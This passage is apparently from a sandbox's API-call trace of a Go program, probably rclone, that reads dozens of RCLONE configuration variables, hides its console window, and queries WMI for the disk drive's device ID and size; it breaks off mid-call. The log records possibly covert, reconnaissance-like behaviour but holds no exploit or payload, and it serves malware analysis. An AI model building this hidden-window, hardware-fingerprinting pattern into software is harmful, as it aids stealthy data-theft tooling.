lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc0009d9520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc0009d95f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc0009d96c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc0009d9790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc0009d9860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_AUTH_PROXY", lpBuffer=0xc0009d9930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc0009d9a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_KEY", lpBuffer=0xc0009d9ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_AUTHORIZED_KEYS", lpBuffer=0xc0009d9ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_USER", lpBuffer=0xc0009d9c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.582] GetEnvironmentVariableW (in: lpName="RCLONE_PASS", lpBuffer=0xc0009d9d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.583] GetEnvironmentVariableW (in: lpName="RCLONE_NO_AUTH", lpBuffer=0xc0009d9e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.583] GetEnvironmentVariableW (in: lpName="RCLONE_STDIO", lpBuffer=0xc0009d9ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.584] VirtualAlloc (lpAddress=0xc0009f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009f2000 [0184.584] VirtualAlloc (lpAddress=0xc0009f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009f4000 [0184.585] VirtualAlloc (lpAddress=0xc0009f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009f6000 [0184.585] VirtualAlloc (lpAddress=0xc0009f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009f8000 [0184.585] VirtualAlloc (lpAddress=0xc0009fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009fa000 [0184.586] VirtualAlloc (lpAddress=0xc0009fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009fc000 [0184.586] VirtualAlloc (lpAddress=0xc0009fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0009fe000 [0184.586] VirtualAlloc (lpAddress=0xc000a00000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a00000 [0184.587] VirtualAlloc (lpAddress=0xc000a02000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a02000 [0184.588] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4d660000 [0184.588] VirtualAlloc (lpAddress=0xc000a04000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a04000 [0184.589] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff638, ulCount=0x10, ulNumEntriesRemoved=0x5ff608, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff638, ulNumEntriesRemoved=0x5ff608) returned 0 [0184.589] SetEvent (hEvent=0x114) returned 1 [0184.589] VirtualAlloc (lpAddress=0xc000a08000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a08000 [0184.591] VirtualAlloc (lpAddress=0xc000a10000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a10000 [0184.592] VirtualAlloc (lpAddress=0xc000a14000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a14000 [0184.594] GetEnvironmentVariableW (in: lpName="RCLONE_HTPASSWD", lpBuffer=0xc000a021a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.594] GetEnvironmentVariableW (in: lpName="RCLONE_REALM", lpBuffer=0xc000a02270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.594] VirtualAlloc (lpAddress=0xc000a28000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a28000 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_USER", lpBuffer=0xc000a02340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_PASS", lpBuffer=0xc000a02410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_SALT", lpBuffer=0xc000a024e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] VirtualAlloc (lpAddress=0xc000a2a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a2a000 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc000a025b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_READ_TIMEOUT", lpBuffer=0xc000a02680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_WRITE_TIMEOUT", lpBuffer=0xc000a02750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_HEADER_BYTES", lpBuffer=0xc000a02820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_CERT", lpBuffer=0xc000a028f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_KEY", lpBuffer=0xc000a029c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_CLIENT_CA", lpBuffer=0xc000a02a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_BASEURL", lpBuffer=0xc000a02b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_MIN_TLS_VERSION", lpBuffer=0xc000a02c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_ORIGIN", lpBuffer=0xc000a02d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_TEMPLATE", lpBuffer=0xc000a02dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc000a02ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.595] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CHECKSUM", lpBuffer=0xc000a02f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SEEK", lpBuffer=0xc000a03040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_CACHE_TIME", lpBuffer=0xc000a03110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_REFRESH", lpBuffer=0xc000a031e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_POLL_INTERVAL", lpBuffer=0xc000a032b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_READ_ONLY", lpBuffer=0xc000a03380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MODE", lpBuffer=0xc000a03450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_POLL_INTERVAL", lpBuffer=0xc000a03520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_AGE", lpBuffer=0xc000a035f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MAX_SIZE", lpBuffer=0xc000a036c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CACHE_MIN_FREE_SPACE", lpBuffer=0xc000a03790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE", lpBuffer=0xc000a03860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_CHUNK_SIZE_LIMIT", lpBuffer=0xc000a03930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_PERMS", lpBuffer=0xc000a03a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_FILE_PERMS", lpBuffer=0xc000a03ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_CASE_INSENSITIVE", lpBuffer=0xc000a03ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_BLOCK_NORM_DUPES", lpBuffer=0xc000a03c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_WAIT", lpBuffer=0xc000a03d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.596] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_WAIT", lpBuffer=0xc000a03e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_WRITE_BACK", lpBuffer=0xc000a03ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] VirtualAlloc (lpAddress=0xc000a2c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a2c000 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_READ_AHEAD", lpBuffer=0xc000a2c000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_USED_IS_SIZE", lpBuffer=0xc000a2c0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_FAST_FINGERPRINT", lpBuffer=0xc000a2c1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_VFS_DISK_SPACE_TOTAL_SIZE", lpBuffer=0xc000a2c270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_AUTH_PROXY", lpBuffer=0xc000a2c340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_ETAG_HASH", lpBuffer=0xc000a2c410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.597] GetEnvironmentVariableW (in: lpName="RCLONE_DISABLE_DIR_LIST", lpBuffer=0xc000a2c4e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.598] VirtualAlloc (lpAddress=0xc000a2e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a2e000 [0184.598] VirtualAlloc (lpAddress=0xc000a30000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a30000 [0184.619] VirtualAlloc (lpAddress=0xc000a80000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a80000 [0184.622] SetEvent (hEvent=0x1ac) returned 1 [0184.622] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0184.633] VirtualAlloc (lpAddress=0xc000a32000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000a32000 [0184.634] SetEvent (hEvent=0x114) returned 1 [0184.634] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0184.635] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetConsoleWindow") returned 0x7fffcb465750 [0184.635] GetConsoleWindow () returned 0x401fe [0184.637] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7fffcb7a0000 [0184.637] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="ShowWindow") returned 0x7fffcb7d44c0 [0184.637] ShowWindow (hWnd=0x401fe, nCmdShow=0) returned 1 [0184.709] GetProcAddress (hModule=0x7fffcb440000, lpProcName="WriteConsoleW") returned 0x7fffcb465360 [0184.709] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744030*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc000744030*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.736] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744048*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc000744048*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.773] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744060*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc000744060*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.779] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744078*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc000744078*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.780] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744090*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc000744090*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.781] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0007440a8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0007440a8*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.782] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0007440c0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0007440c0*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.783] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0007440d8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0007440d8*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0184.808] LoadLibraryExW (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcbef0000 [0184.829] GetProcAddress (hModule=0x7fffcbef0000, lpProcName="CoInitializeEx") returned 0x7fffcbc06f30 [0184.830] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0185.029] GetProcAddress (hModule=0x7fffcbef0000, lpProcName="CLSIDFromProgID") returned 0x7fffcbbab260 [0185.029] CLSIDFromProgID (in: lpszProgID="WbemScripting.SWbemLocator", lpclsid=0xc0007480f0 | out: lpclsid=0xc0007480f0*(Data1=0x76a64158, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6))) returned 0x0 [0185.061] GetProcAddress (hModule=0x7fffcbef0000, lpProcName="CoCreateInstance") returned 0x7fffcbc09fc0 [0185.061] CoCreateInstance (in: rclsid=0xc0007480f0*(Data1=0x76a64158, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xc000187ad0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xc000078048 | out: ppv=0xc000078048*=0x14c960) returned 0x0 [0186.179] SWbemLocator:IUnknown:QueryInterface (in: This=0x14c960, riid=0xc000187ae0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xc000adf7a0 | out: ppvObject=0xc000adf7a0*=0x14a468) returned 0x0 [0186.350] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7fffcb440000 [0186.351] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetUserDefaultLCID") returned 0x7fffcb45fb40 [0186.351] GetUserDefaultLCID () returned 0x409 [0186.352] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x14a468, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc000078050*="ConnectServer", cNames=0x1, lcid=0x409, rgDispId=0xc000748128 | out: rgDispId=0xc000748128*=1) returned 0x0 [0186.531] LoadLibraryExW (lpLibFileName="oleaut32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb350000 [0186.531] GetProcAddress (hModule=0x7fffcb350000, lpProcName="VariantInit") returned 0x7fffcb3eb0f0 [0186.531] GetUserDefaultLCID () returned 0x409 [0186.531] SWbemLocator:IDispatch:Invoke (in: This=0x14a468, dispIdMember=1, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xc000adf660*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744150, pExcepInfo=0xc000adf708, puArgErr=0x0 | out: pDispParams=0xc000adf660*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744150*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x161f98, varVal2=0x0), pExcepInfo=0xc000adf708*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0188.326] GetUserDefaultLCID () returned 0x409 [0188.326] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x161f98, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc000078058*="ExecQuery", cNames=0x1, lcid=0x409, rgDispId=0xc000748138 | out: rgDispId=0xc000748138*=9) returned 0x0 [0188.362] GetProcAddress (hModule=0x7fffcb350000, lpProcName="SysAllocStringLen") returned 0x7fffcb35bf20 [0188.362] GetUserDefaultLCID () returned 0x409 [0188.362] SWbemLocator:IDispatch:Invoke (in: This=0x161f98, dispIdMember=9, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xc000adf720*(rgvarg=([0]=0xc000744180*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SELECT PNPDeviceID, Size FROM Win32_DiskDrive ", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0xc0007441b0, pExcepInfo=0xc000adf7c8, puArgErr=0x0 | out: pDispParams=0xc000adf720*(rgvarg=([0]=0xc000744180*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SELECT PNPDeviceID, Size FROM Win32_DiskDrive ", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0xc0007441b0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x162628, varVal2=0x0), pExcepInfo=0xc000adf7c8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0188.814] GetProcAddress (hModule=0x7fffcb350000, lpProcName="SysFreeString") returned 0x7fffcb35c190 [0188.814] GetUserDefaultLCID () returned 0x409 [0188.814] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x162628, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc000078060*="Count", cNames=0x1, lcid=0x409, rgDispId=0xc000748178 | out: rgDispId=0xc000748178*=1) returned 0x0 [0188.867] GetUserDefaultLCID () returned 0x409 [0188.867] SWbemLocator:IDispatch:Invoke (in: This=0x162628, dispIdMember=1, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf6a0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc0007441c8, pExcepInfo=0xc000adf748, puArgErr=0x0 | out: pDispParams=0xc000adf6a0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc0007441c8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), pExcepInfo=0xc000adf748*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0189.402] GetProcAddress (hModule=0x7fffcb350000, lpProcName="VariantClear") returned 0x7fffcb3eadd0 [0189.402] GetUserDefaultLCID () returned 0x409 [0189.402] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x162628, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc000078068*="_NewEnum", cNames=0x1, lcid=0x409, rgDispId=0xc0007481c0 | out: rgDispId=0xc0007481c0*=-4) returned 0x0 [0189.403] GetUserDefaultLCID () returned 0x409 [0189.403] SWbemLocator:IDispatch:Invoke (in: This=0x162628, dispIdMember=-4, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf720*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc0007441f8, pExcepInfo=0xc000adf7c8, puArgErr=0x0 | out: pDispParams=0xc000adf720*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc0007441f8*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16c4b0, varVal2=0x0), pExcepInfo=0xc000adf7c8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0189.408] SWbemLocator:IUnknown:QueryInterface (in: This=0x16c4b0, riid=0xc000187af0*(Data1=0x20404, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xc000078070 | out: ppvObject=0xc000078070*=0x162468) returned 0x0 [0189.430] SWbemLocator:IEnumVARIANT:Next (in: This=0x162468, celt=0x1, rgvar=0xc000adf890*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pceltFetched=0xc000adf858 | out: pceltFetched=0xc000adf858*=0x1) returned 0x0 [0189.483] GetUserDefaultLCID () returned 0x409 [0189.483] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x162548, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc000078078*="PNPDeviceID", cNames=0x1, lcid=0x409, rgDispId=0xc0007481d8 | out: rgDispId=0xc0007481d8*=25165825) returned 0x0 [0189.497] GetUserDefaultLCID () returned 0x409 [0189.497] SWbemLocator:IDispatch:Invoke (in: This=0x162548, dispIdMember=25165825, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf2f0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744228, pExcepInfo=0xc000adf398, puArgErr=0x0 | out: pDispParams=0xc000adf2f0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744228*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SCSI\\DISK&VEN_&PROD_ST250LT021/ST250\\4&305DAB9F&0&000000", varVal2=0x0), pExcepInfo=0xc000adf398*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0189.505] GetProcAddress (hModule=0x7fffcb350000, lpProcName="SysStringLen") returned 0x7fffcb3681d0 [0189.506] SysStringLen (param_1="SCSI\\DISK&VEN_&PROD_ST250LT021/ST250\\4&305DAB9F&0&000000") returned 0x38 [0189.506] GetUserDefaultLCID () returned 0x409 [0189.506] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x162548, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc000078080*="Size", cNames=0x1, lcid=0x409, rgDispId=0xc000748208 | out: rgDispId=0xc000748208*=25165826) returned 0x0 [0189.509] GetUserDefaultLCID () returned 0x409 [0189.509] SWbemLocator:IDispatch:Invoke (in: This=0x162548, dispIdMember=25165826, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf2f0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744240, pExcepInfo=0xc000adf398, puArgErr=0x0 | out: pDispParams=0xc000adf2f0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744240*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="268432012800", varVal2=0x0), pExcepInfo=0xc000adf398*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, 